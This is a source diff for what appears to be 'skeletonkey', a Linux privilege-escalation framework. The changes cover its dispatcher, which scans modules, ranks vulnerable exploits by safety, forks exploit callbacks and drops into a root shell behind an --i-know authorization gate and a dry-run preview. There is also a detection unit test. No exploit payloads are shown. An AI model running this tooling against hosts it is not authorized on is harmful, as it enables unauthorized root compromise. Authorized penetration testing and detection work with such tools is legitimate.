* report PRECOND_FAIL rather than VULNERABLE. */
|
||||||
if (v.major < 4) {
|
if (!skeletonkey_host_kernel_at_least(ctx->host, 4, 0, 0)) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] vmwgfx: kernel %s predates vmwgfx driver\n", v.release);
|
fprintf(stderr, "[+] vmwgfx: kernel %s predates vmwgfx driver\n", v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
@@ -247,7 +248,7 @@ static skeletonkey_result_t vmwgfx_detect(const struct skeletonkey_ctx *ctx)
|
|||||||
char vendor[128] = {0};
|
char vendor[128] = {0};
|
||||||
bool vmware = host_is_vmware_guest(vendor, sizeof vendor);
|
bool vmware = host_is_vmware_guest(vendor, sizeof vendor);
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] vmwgfx: kernel %s in vulnerable range\n", v.release);
|
fprintf(stderr, "[i] vmwgfx: kernel %s in vulnerable range\n", v->release);
|
||||||
fprintf(stderr, "[i] vmwgfx: dmi sys_vendor = \"%s\"\n",
|
fprintf(stderr, "[i] vmwgfx: dmi sys_vendor = \"%s\"\n",
|
||||||
vendor[0] ? vendor : "(unreadable)");
|
vendor[0] ? vendor : "(unreadable)");
|
||||||
}
|
}
|
||||||
@@ -520,7 +521,8 @@ static skeletonkey_result_t vmwgfx_exploit_linux(const struct skeletonkey_ctx *c
|
|||||||
fprintf(stderr, "[-] vmwgfx: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] vmwgfx: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
if (geteuid() == 0) {
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
fprintf(stderr, "[i] vmwgfx: already root — nothing to escalate\n");
|
fprintf(stderr, "[i] vmwgfx: already root — nothing to escalate\n");
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|||||||
+303
-20
@@ -18,9 +18,13 @@
|
|||||||
#include "core/module.h"
|
#include "core/module.h"
|
||||||
#include "core/registry.h"
|
#include "core/registry.h"
|
||||||
#include "core/offsets.h"
|
#include "core/offsets.h"
|
||||||
|
#include "core/host.h"
|
||||||
|
|
||||||
#include <time.h>
|
#include <time.h>
|
||||||
#include <sys/utsname.h>
|
#include <sys/utsname.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
|
||||||
#include <getopt.h>
|
#include <getopt.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
@@ -29,7 +33,7 @@
|
|||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
#define SKELETONKEY_VERSION "0.5.0"
|
#define SKELETONKEY_VERSION "0.6.0"
|
||||||
|
|
||||||
static const char BANNER[] =
|
static const char BANNER[] =
|
||||||
"\n"
|
"\n"
|
||||||
@@ -73,6 +77,9 @@ static void usage(const char *prog)
|
|||||||
" --i-know authorization gate for --exploit modes\n"
|
" --i-know authorization gate for --exploit modes\n"
|
||||||
" --active in --scan, do invasive sentinel probes (no /etc/passwd writes)\n"
|
" --active in --scan, do invasive sentinel probes (no /etc/passwd writes)\n"
|
||||||
" --no-shell in --exploit modes, prepare but don't drop to shell\n"
|
" --no-shell in --exploit modes, prepare but don't drop to shell\n"
|
||||||
|
" --dry-run preview only — do the scan + pick, never call exploit/\n"
|
||||||
|
" mitigate/cleanup. Useful with --auto to see what would\n"
|
||||||
|
" fire before authorizing it.\n"
|
||||||
" --full-chain in --exploit modes, attempt full root-pop after primitive\n"
|
" --full-chain in --exploit modes, attempt full root-pop after primitive\n"
|
||||||
" (the 🟡 modules return primitive-only by default; with\n"
|
" (the 🟡 modules return primitive-only by default; with\n"
|
||||||
" --full-chain they continue to leak → arb-write →\n"
|
" --full-chain they continue to leak → arb-write →\n"
|
||||||
@@ -670,10 +677,13 @@ static int module_safety_rank(const char *n)
|
|||||||
if (!strcmp(n, "cgroup_release_agent")) return 98; /* structural, no offsets */
|
if (!strcmp(n, "cgroup_release_agent")) return 98; /* structural, no offsets */
|
||||||
if (!strcmp(n, "overlayfs_setuid")) return 97; /* structural setuid */
|
if (!strcmp(n, "overlayfs_setuid")) return 97; /* structural setuid */
|
||||||
if (!strcmp(n, "overlayfs")) return 96; /* userns + xattr */
|
if (!strcmp(n, "overlayfs")) return 96; /* userns + xattr */
|
||||||
|
if (!strcmp(n, "pack2theroot")) return 95; /* userspace D-Bus TOCTOU; dpkg + /tmp SUID footprint */
|
||||||
if (!strcmp(n, "dirty_pipe")) return 90; /* page-cache write */
|
if (!strcmp(n, "dirty_pipe")) return 90; /* page-cache write */
|
||||||
if (!strcmp(n, "dirty_cow")) return 89;
|
if (!strcmp(n, "dirty_cow")) return 89;
|
||||||
if (!strncmp(n, "copy_fail", 9) ||
|
if (!strncmp(n, "copy_fail", 9) ||
|
||||||
!strncmp(n, "dirty_frag", 10)) return 88;
|
!strncmp(n, "dirty_frag", 10)) return 88; /* verified page-cache writes */
|
||||||
|
if (!strcmp(n, "dirtydecrypt") ||
|
||||||
|
!strcmp(n, "fragnesia")) return 87; /* ported page-cache writes; version-pinned detect, exploit NOT VM-verified */
|
||||||
if (!strcmp(n, "ptrace_traceme")) return 85; /* userspace cred race */
|
if (!strcmp(n, "ptrace_traceme")) return 85; /* userspace cred race */
|
||||||
if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */
|
if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */
|
||||||
if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */
|
if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */
|
||||||
@@ -682,12 +692,154 @@ static int module_safety_rank(const char *n)
|
|||||||
return 50; /* kernel primitives — middle of pack */
|
return 50; /* kernel primitives — middle of pack */
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* Per-detect timeout: a probe that hangs (network blocking, deadlocked
|
||||||
|
* fork-probe, kernel-side stall) must NOT freeze --auto. 15s is well
|
||||||
|
* above any honest active probe (fragnesia's full XFRM setup is ~500ms,
|
||||||
|
* dirtydecrypt's rxgk handshake ~1s) but short enough that the scan
|
||||||
|
* still finishes within ~7-8 minutes even if every module hits the cap. */
|
||||||
|
#define SKELETONKEY_DETECT_TIMEOUT_SECS 15
|
||||||
|
|
||||||
|
/* Run a module's detect() in a forked child so a SIGILL/SIGSEGV/etc.
|
||||||
|
* in one detector cannot tear down the dispatcher. Also installs an
|
||||||
|
* alarm(15) so a hung probe cannot stall the scan.
|
||||||
|
*
|
||||||
|
* The verdict travels back via the child's exit status
|
||||||
|
* (skeletonkey_result_t values fit in 0..5). On a crash, returns
|
||||||
|
* SKELETONKEY_TEST_ERROR; *crashed_signal is set to the terminating
|
||||||
|
* signal (0 if exited normally), *timed_out is true if the signal
|
||||||
|
* was SIGALRM (the detect-timeout fired).
|
||||||
|
*
|
||||||
|
* This matters because --auto auto-enables active probes, which can
|
||||||
|
* exercise CPU instructions (entrybleed's prefetchnta sweep) or
|
||||||
|
* kernel paths (XFRM ESP-in-TCP setup) that may misbehave under
|
||||||
|
* emulation or hardened containers, or stall on a frozen socket.
|
||||||
|
* Without isolation + timeout, one bad probe stops the whole scan
|
||||||
|
* and the operator never sees the rest of the verdict table. */
|
||||||
|
static skeletonkey_result_t run_detect_isolated(
|
||||||
|
const struct skeletonkey_module *m,
|
||||||
|
const struct skeletonkey_ctx *ctx,
|
||||||
|
int *crashed_signal,
|
||||||
|
bool *timed_out)
|
||||||
|
{
|
||||||
|
*crashed_signal = 0;
|
||||||
|
*timed_out = false;
|
||||||
|
pid_t pid = fork();
|
||||||
|
if (pid < 0) {
|
||||||
|
perror("fork");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
if (pid == 0) {
|
||||||
|
/* SIGALRM default action is termination — perfect kill-switch. */
|
||||||
|
alarm(SKELETONKEY_DETECT_TIMEOUT_SECS);
|
||||||
|
skeletonkey_result_t r = m->detect(ctx);
|
||||||
|
fflush(NULL);
|
||||||
|
_exit((int)r);
|
||||||
|
}
|
||||||
|
int st;
|
||||||
|
if (waitpid(pid, &st, 0) < 0) return SKELETONKEY_TEST_ERROR;
|
||||||
|
if (WIFEXITED(st)) return (skeletonkey_result_t)WEXITSTATUS(st);
|
||||||
|
if (WIFSIGNALED(st)) {
|
||||||
|
*crashed_signal = WTERMSIG(st);
|
||||||
|
if (*crashed_signal == SIGALRM) *timed_out = true;
|
||||||
|
}
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Run a module callback (exploit/mitigate/cleanup) in a forked child.
|
||||||
|
* Two crash-safety properties:
|
||||||
|
* - SIGSEGV/SIGILL/etc. in the callback is contained.
|
||||||
|
* - --auto's "try next-safest on EXPLOIT_FAIL" fallback path actually
|
||||||
|
* runs even if the picked exploit dies hard.
|
||||||
|
*
|
||||||
|
* Result communication is via a one-byte pipe with FD_CLOEXEC on the
|
||||||
|
* write end:
|
||||||
|
* - If the callback returns normally, the child writes the result
|
||||||
|
* byte before _exit; the parent reads it. Trusted result code.
|
||||||
|
* - If the callback execve()s into a target (dirty_pipe → su,
|
||||||
|
* pack2theroot → /tmp/.suid_bash), FD_CLOEXEC closes the write
|
||||||
|
* end as part of the exec transfer; the parent's read() gets
|
||||||
|
* EOF. We then know the child exec'd code and report EXPLOIT_OK
|
||||||
|
* regardless of what shell exit code the exec'd-into program
|
||||||
|
* returns when the operator detaches.
|
||||||
|
* - If the child died of a signal, that's a crash; report it. */
|
||||||
|
static skeletonkey_result_t run_callback_isolated(
|
||||||
|
const char *label,
|
||||||
|
skeletonkey_result_t (*fn)(const struct skeletonkey_ctx *),
|
||||||
|
const struct skeletonkey_ctx *ctx,
|
||||||
|
int *crashed_signal,
|
||||||
|
bool *exec_path)
|
||||||
|
{
|
||||||
|
(void)label;
|
||||||
|
*crashed_signal = 0;
|
||||||
|
*exec_path = false;
|
||||||
|
|
||||||
|
int pfd[2];
|
||||||
|
if (pipe(pfd) < 0) {
|
||||||
|
/* Plumbing failed — fall back to direct call. The crash-safety
|
||||||
|
* property is degraded for this one invocation, but the
|
||||||
|
* dispatcher would have crashed anyway if pipe() fails. */
|
||||||
|
return fn(ctx);
|
||||||
|
}
|
||||||
|
/* FD_CLOEXEC: if child execve's, the kernel closes pfd[1] before
|
||||||
|
* handing control to the new image, so the new image cannot
|
||||||
|
* inadvertently write garbage and the parent observes EOF. */
|
||||||
|
if (fcntl(pfd[1], F_SETFD, FD_CLOEXEC) < 0) {
|
||||||
|
close(pfd[0]); close(pfd[1]);
|
||||||
|
return fn(ctx);
|
||||||
|
}
|
||||||
|
|
||||||
|
pid_t pid = fork();
|
||||||
|
if (pid < 0) {
|
||||||
|
close(pfd[0]); close(pfd[1]);
|
||||||
|
perror("fork");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
if (pid == 0) {
|
||||||
|
close(pfd[0]);
|
||||||
|
skeletonkey_result_t r = fn(ctx);
|
||||||
|
/* If we get here, fn didn't exec. Report the code. */
|
||||||
|
unsigned char code = (unsigned char)r;
|
||||||
|
ssize_t w = write(pfd[1], &code, 1);
|
||||||
|
(void)w;
|
||||||
|
close(pfd[1]);
|
||||||
|
fflush(NULL);
|
||||||
|
_exit((int)r);
|
||||||
|
}
|
||||||
|
close(pfd[1]);
|
||||||
|
unsigned char code = 0;
|
||||||
|
ssize_t n = read(pfd[0], &code, 1);
|
||||||
|
close(pfd[0]);
|
||||||
|
|
||||||
|
int st;
|
||||||
|
waitpid(pid, &st, 0);
|
||||||
|
|
||||||
|
if (n == 1)
|
||||||
|
return (skeletonkey_result_t)code;
|
||||||
|
|
||||||
|
/* No byte read → child either exec'd (FD_CLOEXEC closed pfd[1])
|
||||||
|
* or crashed before reaching the write. Distinguish via wait
|
||||||
|
* status. */
|
||||||
|
if (WIFSIGNALED(st)) {
|
||||||
|
*crashed_signal = WTERMSIG(st);
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
/* Normal exit without writing → must have exec'd. We achieved
|
||||||
|
* code execution; treat as EXPLOIT_OK regardless of the shell's
|
||||||
|
* subsequent exit code. */
|
||||||
|
*exec_path = true;
|
||||||
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Host fingerprint parsing (ID / VERSION_ID / kernel / arch) lives in
|
||||||
|
* core/host.c; cmd_auto consults ctx->host via the shared banner. */
|
||||||
|
|
||||||
static int cmd_auto(struct skeletonkey_ctx *ctx)
|
static int cmd_auto(struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
if (!ctx->authorized) {
|
if (!ctx->authorized && !ctx->dry_run) {
|
||||||
fprintf(stderr,
|
fprintf(stderr,
|
||||||
"[-] --auto requires --i-know. About to attempt root via the safest available\n"
|
"[-] --auto requires --i-know (or --dry-run for a preview that never fires).\n"
|
||||||
" LPE on this host. Authorized testing only. See docs/ETHICS.md.\n");
|
" About to attempt root via the safest available LPE on this host.\n"
|
||||||
|
" Authorized testing only. See docs/ETHICS.md.\n");
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
if (geteuid() == 0) {
|
if (geteuid() == 0) {
|
||||||
@@ -695,28 +847,104 @@ static int cmd_auto(struct skeletonkey_ctx *ctx)
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
struct utsname u; uname(&u);
|
/* Active probes give --auto a more accurate verdict on modules that
|
||||||
fprintf(stderr, "[*] auto: host=%s kernel=%s arch=%s\n", u.nodename, u.release, u.machine);
|
* implement them (dirty_pipe, the copy_fail family, dirtydecrypt,
|
||||||
|
* fragnesia, overlayfs). Each per-module probe is documented safe:
|
||||||
|
* /tmp sentinel files + fork-isolated namespace mounts. No real
|
||||||
|
* system state is corrupted by the scan. Without this, --auto can
|
||||||
|
* miss vulnerabilities that a version-only check would flag as
|
||||||
|
* indeterminate (TEST_ERROR), or accept distro silent backports
|
||||||
|
* that the version check is fooled by. */
|
||||||
|
bool prev_active = ctx->active_probe;
|
||||||
|
ctx->active_probe = true;
|
||||||
|
|
||||||
|
/* Two-line host fingerprint banner (identity + capability gates). */
|
||||||
|
skeletonkey_host_print_banner(ctx->host, ctx->json);
|
||||||
|
fprintf(stderr, "[*] auto: active probes enabled — brief /tmp file "
|
||||||
|
"touches and fork-isolated namespace probes\n");
|
||||||
fprintf(stderr, "[*] auto: scanning %zu modules for vulnerabilities...\n",
|
fprintf(stderr, "[*] auto: scanning %zu modules for vulnerabilities...\n",
|
||||||
skeletonkey_module_count());
|
skeletonkey_module_count());
|
||||||
|
|
||||||
struct cand { const struct skeletonkey_module *m; int rank; } cands[64];
|
struct cand { const struct skeletonkey_module *m; int rank; } cands[64];
|
||||||
int nc = 0;
|
int nc = 0;
|
||||||
|
int n_vuln = 0, n_ok = 0, n_precond = 0, n_test = 0;
|
||||||
|
int n_crash = 0, n_timeout = 0, n_other = 0;
|
||||||
size_t n = skeletonkey_module_count();
|
size_t n = skeletonkey_module_count();
|
||||||
for (size_t i = 0; i < n && nc < 64; i++) {
|
for (size_t i = 0; i < n; i++) {
|
||||||
const struct skeletonkey_module *m = skeletonkey_module_at(i);
|
const struct skeletonkey_module *m = skeletonkey_module_at(i);
|
||||||
if (!m->detect || !m->exploit) continue;
|
if (!m->detect || !m->exploit) continue;
|
||||||
skeletonkey_result_t r = m->detect(ctx);
|
int sig = 0;
|
||||||
if (r == SKELETONKEY_VULNERABLE) {
|
bool timed_out = false;
|
||||||
cands[nc].m = m;
|
skeletonkey_result_t r = run_detect_isolated(m, ctx, &sig, &timed_out);
|
||||||
cands[nc].rank = module_safety_rank(m->name);
|
if (sig != 0) {
|
||||||
fprintf(stderr, "[+] auto: %-22s VULNERABLE (safety rank %d)\n",
|
const char *why = timed_out ? "timed out" : "crashed";
|
||||||
m->name, cands[nc].rank);
|
fprintf(stderr, "[?] auto: %-22s detect() %s "
|
||||||
nc++;
|
"(signal %d) — continuing\n",
|
||||||
|
m->name, why, sig);
|
||||||
|
if (timed_out) n_timeout++;
|
||||||
|
else n_crash++;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
switch (r) {
|
||||||
|
case SKELETONKEY_VULNERABLE:
|
||||||
|
if (nc < 64) {
|
||||||
|
cands[nc].m = m;
|
||||||
|
cands[nc].rank = module_safety_rank(m->name);
|
||||||
|
fprintf(stderr, "[+] auto: %-22s VULNERABLE (safety rank %d)\n",
|
||||||
|
m->name, cands[nc].rank);
|
||||||
|
nc++;
|
||||||
|
} else {
|
||||||
|
fprintf(stderr, "[+] auto: %-22s VULNERABLE (overflow; not "
|
||||||
|
"considered for pick)\n", m->name);
|
||||||
|
}
|
||||||
|
n_vuln++;
|
||||||
|
break;
|
||||||
|
case SKELETONKEY_OK:
|
||||||
|
fprintf(stderr, "[ ] auto: %-22s patched or not applicable\n",
|
||||||
|
m->name);
|
||||||
|
n_ok++;
|
||||||
|
break;
|
||||||
|
case SKELETONKEY_PRECOND_FAIL:
|
||||||
|
fprintf(stderr, "[ ] auto: %-22s precondition not met\n", m->name);
|
||||||
|
n_precond++;
|
||||||
|
break;
|
||||||
|
case SKELETONKEY_TEST_ERROR:
|
||||||
|
fprintf(stderr, "[?] auto: %-22s indeterminate "
|
||||||
|
"(detector could not decide)\n", m->name);
|
||||||
|
n_test++;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
fprintf(stderr, "[?] auto: %-22s %s\n", m->name, result_str(r));
|
||||||
|
n_other++;
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* Restore caller's --active setting before we call exploit(). The
|
||||||
|
* exploit() of each module may use ctx->active_probe with different
|
||||||
|
* semantics than detect(); we owned this flag only for the scan. */
|
||||||
|
ctx->active_probe = prev_active;
|
||||||
|
|
||||||
|
fprintf(stderr, "\n[*] auto: scan summary — %d vulnerable, %d patched/"
|
||||||
|
"n.a., %d precondition-fail, %d indeterminate%s\n",
|
||||||
|
n_vuln, n_ok, n_precond, n_test,
|
||||||
|
n_other ? " (+other)" : "");
|
||||||
|
if (n_crash > 0)
|
||||||
|
fprintf(stderr, "[!] auto: %d module(s) crashed during detect "
|
||||||
|
"— dispatcher recovered via fork isolation\n", n_crash);
|
||||||
|
if (n_timeout > 0)
|
||||||
|
fprintf(stderr, "[!] auto: %d module(s) timed out (>%ds) during "
|
||||||
|
"detect — dispatcher recovered\n",
|
||||||
|
n_timeout, SKELETONKEY_DETECT_TIMEOUT_SECS);
|
||||||
|
|
||||||
if (nc == 0) {
|
if (nc == 0) {
|
||||||
fprintf(stderr, "\n[-] auto: no vulnerable modules. Host appears patched.\n");
|
if (n_test > 0) {
|
||||||
|
fprintf(stderr, "[i] auto: %d module(s) returned indeterminate. "
|
||||||
|
"Try `skeletonkey --exploit <name> --i-know` if "
|
||||||
|
"you know the host is vulnerable.\n", n_test);
|
||||||
|
}
|
||||||
|
fprintf(stderr, "[-] auto: no confirmed-vulnerable modules. Host "
|
||||||
|
"appears patched.\n");
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -728,13 +956,42 @@ static int cmd_auto(struct skeletonkey_ctx *ctx)
|
|||||||
}
|
}
|
||||||
|
|
||||||
const struct skeletonkey_module *pick = cands[0].m;
|
const struct skeletonkey_module *pick = cands[0].m;
|
||||||
|
|
||||||
|
if (ctx->dry_run) {
|
||||||
|
fprintf(stderr,
|
||||||
|
"\n[*] auto: %d vulnerable module(s) found. Safest is '%s' (rank %d).\n"
|
||||||
|
"[*] auto: --dry-run: would launch `--exploit %s --i-know`; not firing.\n",
|
||||||
|
nc, pick->name, cands[0].rank, pick->name);
|
||||||
|
if (nc > 1) {
|
||||||
|
fprintf(stderr, "[i] auto: other candidates (ranked):\n");
|
||||||
|
for (int i = 1; i < nc; i++)
|
||||||
|
fprintf(stderr, " %-22s safety rank %d\n",
|
||||||
|
cands[i].m->name, cands[i].rank);
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
fprintf(stderr,
|
fprintf(stderr,
|
||||||
"\n[*] auto: %d vulnerable module(s) found. Safest is '%s' (rank %d).\n"
|
"\n[*] auto: %d vulnerable module(s) found. Safest is '%s' (rank %d).\n"
|
||||||
"[*] auto: launching --exploit %s...\n\n",
|
"[*] auto: launching --exploit %s...\n\n",
|
||||||
nc, pick->name, cands[0].rank, pick->name);
|
nc, pick->name, cands[0].rank, pick->name);
|
||||||
|
|
||||||
skeletonkey_result_t r = pick->exploit(ctx);
|
int xsig = 0;
|
||||||
fprintf(stderr, "\n[*] auto: %s exploit returned %s\n", pick->name, result_str(r));
|
bool exec_path = false;
|
||||||
|
skeletonkey_result_t r = run_callback_isolated(
|
||||||
|
"exploit", pick->exploit, ctx, &xsig, &exec_path);
|
||||||
|
if (xsig != 0) {
|
||||||
|
fprintf(stderr, "\n[!] auto: %s exploit crashed (signal %d) — "
|
||||||
|
"dispatcher recovered via fork isolation\n",
|
||||||
|
pick->name, xsig);
|
||||||
|
} else if (exec_path) {
|
||||||
|
fprintf(stderr, "\n[*] auto: %s exploit transferred to spawned "
|
||||||
|
"target (shell exited cleanly) — EXPLOIT_OK\n",
|
||||||
|
pick->name);
|
||||||
|
} else {
|
||||||
|
fprintf(stderr, "\n[*] auto: %s exploit returned %s\n",
|
||||||
|
pick->name, result_str(r));
|
||||||
|
}
|
||||||
if (r == SKELETONKEY_EXPLOIT_OK) return 5;
|
if (r == SKELETONKEY_EXPLOIT_OK) return 5;
|
||||||
if (r == SKELETONKEY_EXPLOIT_FAIL && nc > 1) {
|
if (r == SKELETONKEY_EXPLOIT_FAIL && nc > 1) {
|
||||||
fprintf(stderr, "[i] auto: %d more candidate(s) available — try one manually:\n", nc - 1);
|
fprintf(stderr, "[i] auto: %d more candidate(s) available — try one manually:\n", nc - 1);
|
||||||
@@ -747,6 +1004,11 @@ static int cmd_auto(struct skeletonkey_ctx *ctx)
|
|||||||
static int cmd_one(const struct skeletonkey_module *m, const char *op,
|
static int cmd_one(const struct skeletonkey_module *m, const char *op,
|
||||||
const struct skeletonkey_ctx *ctx)
|
const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
|
if (ctx->dry_run) {
|
||||||
|
fprintf(stderr, "[*] %s: --dry-run: would run --%s; not firing.\n",
|
||||||
|
m->name, op);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
skeletonkey_result_t (*fn)(const struct skeletonkey_ctx *) = NULL;
|
skeletonkey_result_t (*fn)(const struct skeletonkey_ctx *) = NULL;
|
||||||
if (strcmp(op, "exploit") == 0) fn = m->exploit;
|
if (strcmp(op, "exploit") == 0) fn = m->exploit;
|
||||||
else if (strcmp(op, "mitigate") == 0) fn = m->mitigate;
|
else if (strcmp(op, "mitigate") == 0) fn = m->mitigate;
|
||||||
@@ -756,8 +1018,18 @@ static int cmd_one(const struct skeletonkey_module *m, const char *op,
|
|||||||
fprintf(stderr, "[-] module '%s' has no %s operation\n", m->name, op);
|
fprintf(stderr, "[-] module '%s' has no %s operation\n", m->name, op);
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
skeletonkey_result_t r = fn(ctx);
|
int sig = 0;
|
||||||
fprintf(stderr, "[*] %s --%s result: %s\n", m->name, op, result_str(r));
|
bool exec_path = false;
|
||||||
|
skeletonkey_result_t r = run_callback_isolated(op, fn, ctx, &sig, &exec_path);
|
||||||
|
if (sig != 0)
|
||||||
|
fprintf(stderr, "[!] %s --%s crashed (signal %d) — recovered\n",
|
||||||
|
m->name, op, sig);
|
||||||
|
else if (exec_path)
|
||||||
|
fprintf(stderr, "[*] %s --%s transferred to spawned target — EXPLOIT_OK\n",
|
||||||
|
m->name, op);
|
||||||
|
else
|
||||||
|
fprintf(stderr, "[*] %s --%s result: %s\n",
|
||||||
|
m->name, op, result_str(r));
|
||||||
return (int)r;
|
return (int)r;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -789,12 +1061,21 @@ int main(int argc, char **argv)
|
|||||||
skeletonkey_register_sequoia();
|
skeletonkey_register_sequoia();
|
||||||
skeletonkey_register_sudoedit_editor();
|
skeletonkey_register_sudoedit_editor();
|
||||||
skeletonkey_register_vmwgfx();
|
skeletonkey_register_vmwgfx();
|
||||||
|
skeletonkey_register_dirtydecrypt();
|
||||||
|
skeletonkey_register_fragnesia();
|
||||||
|
skeletonkey_register_pack2theroot();
|
||||||
|
|
||||||
enum mode mode = MODE_SCAN;
|
enum mode mode = MODE_SCAN;
|
||||||
struct skeletonkey_ctx ctx = {0};
|
struct skeletonkey_ctx ctx = {0};
|
||||||
const char *target = NULL;
|
const char *target = NULL;
|
||||||
int i_know = 0;
|
int i_know = 0;
|
||||||
|
|
||||||
|
/* Probe the host once, up front. ctx.host is a stable pointer
|
||||||
|
* shared by every module callback; populating now means each
|
||||||
|
* detect() sees the same fingerprint and no module has to re-do
|
||||||
|
* uname/getpwuid/sysctl reads. See core/host.{h,c}. */
|
||||||
|
ctx.host = skeletonkey_host_get();
|
||||||
|
|
||||||
enum detect_format dr_fmt = FMT_AUDITD;
|
enum detect_format dr_fmt = FMT_AUDITD;
|
||||||
static struct option longopts[] = {
|
static struct option longopts[] = {
|
||||||
{"scan", no_argument, 0, 'S'},
|
{"scan", no_argument, 0, 'S'},
|
||||||
@@ -814,6 +1095,7 @@ int main(int argc, char **argv)
|
|||||||
{"json", no_argument, 0, 4 },
|
{"json", no_argument, 0, 4 },
|
||||||
{"no-color", no_argument, 0, 5 },
|
{"no-color", no_argument, 0, 5 },
|
||||||
{"full-chain", no_argument, 0, 7 },
|
{"full-chain", no_argument, 0, 7 },
|
||||||
|
{"dry-run", no_argument, 0, 10 },
|
||||||
{"version", no_argument, 0, 'V'},
|
{"version", no_argument, 0, 'V'},
|
||||||
{"help", no_argument, 0, 'h'},
|
{"help", no_argument, 0, 'h'},
|
||||||
{0, 0, 0, 0}
|
{0, 0, 0, 0}
|
||||||
@@ -838,6 +1120,7 @@ int main(int argc, char **argv)
|
|||||||
case 7 : ctx.full_chain = true; break;
|
case 7 : ctx.full_chain = true; break;
|
||||||
case 8 : mode = MODE_DUMP_OFFSETS; break;
|
case 8 : mode = MODE_DUMP_OFFSETS; break;
|
||||||
case 9 : mode = MODE_AUTO; ctx.authorized = i_know ? true : ctx.authorized; break;
|
case 9 : mode = MODE_AUTO; ctx.authorized = i_know ? true : ctx.authorized; break;
|
||||||
|
case 10 : ctx.dry_run = true; break;
|
||||||
case 6 :
|
case 6 :
|
||||||
if (strcmp(optarg, "auditd") == 0) dr_fmt = FMT_AUDITD;
|
if (strcmp(optarg, "auditd") == 0) dr_fmt = FMT_AUDITD;
|
||||||
else if (strcmp(optarg, "sigma") == 0) dr_fmt = FMT_SIGMA;
|
else if (strcmp(optarg, "sigma") == 0) dr_fmt = FMT_SIGMA;
|
||||||
|
|||||||
@@ -0,0 +1,502 @@
|
|||||||
|
/*
|
||||||
|
* tests/test_detect.c — detect() unit tests
|
||||||
|
*
|
||||||
|
* Each test builds a synthetic struct skeletonkey_host fingerprint
|
||||||
|
* (vulnerable / patched / specific-gate-closed) and asserts each
|
||||||
|
* module's detect() returns the expected verdict. Catches regressions
|
||||||
|
* in the host-fingerprint-consuming logic across the corpus.
|
||||||
|
*
|
||||||
|
* Coverage today is the four modules that already consume ctx->host:
|
||||||
|
* - dirtydecrypt (CVE-2026-31635)
|
||||||
|
* - fragnesia (CVE-2026-46300)
|
||||||
|
* - pack2theroot (CVE-2026-41651)
|
||||||
|
* - overlayfs (CVE-2021-3493)
|
||||||
|
* Coverage grows automatically as more modules migrate to ctx->host
|
||||||
|
* (see ROADMAP "core/host" follow-up).
|
||||||
|
*
|
||||||
|
* Why only Linux: every module's real detect() lives inside
|
||||||
|
* `#ifdef __linux__`; on non-Linux the stubs unconditionally return
|
||||||
|
* PRECOND_FAIL so the tests are tautologies. The harness compiles
|
||||||
|
* cross-platform but skips the assertions on non-Linux to keep the
|
||||||
|
* macOS dev build green while still preventing bit-rot of the test
|
||||||
|
* infrastructure.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "../core/module.h"
|
||||||
|
#include "../core/host.h"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module dirtydecrypt_module;
|
||||||
|
extern const struct skeletonkey_module fragnesia_module;
|
||||||
|
extern const struct skeletonkey_module pack2theroot_module;
|
||||||
|
extern const struct skeletonkey_module overlayfs_module;
|
||||||
|
extern const struct skeletonkey_module dirty_pipe_module;
|
||||||
|
extern const struct skeletonkey_module dirty_cow_module;
|
||||||
|
extern const struct skeletonkey_module ptrace_traceme_module;
|
||||||
|
extern const struct skeletonkey_module cgroup_release_agent_module;
|
||||||
|
extern const struct skeletonkey_module nf_tables_module;
|
||||||
|
extern const struct skeletonkey_module fuse_legacy_module;
|
||||||
|
extern const struct skeletonkey_module cls_route4_module;
|
||||||
|
extern const struct skeletonkey_module overlayfs_setuid_module;
|
||||||
|
extern const struct skeletonkey_module af_packet_module;
|
||||||
|
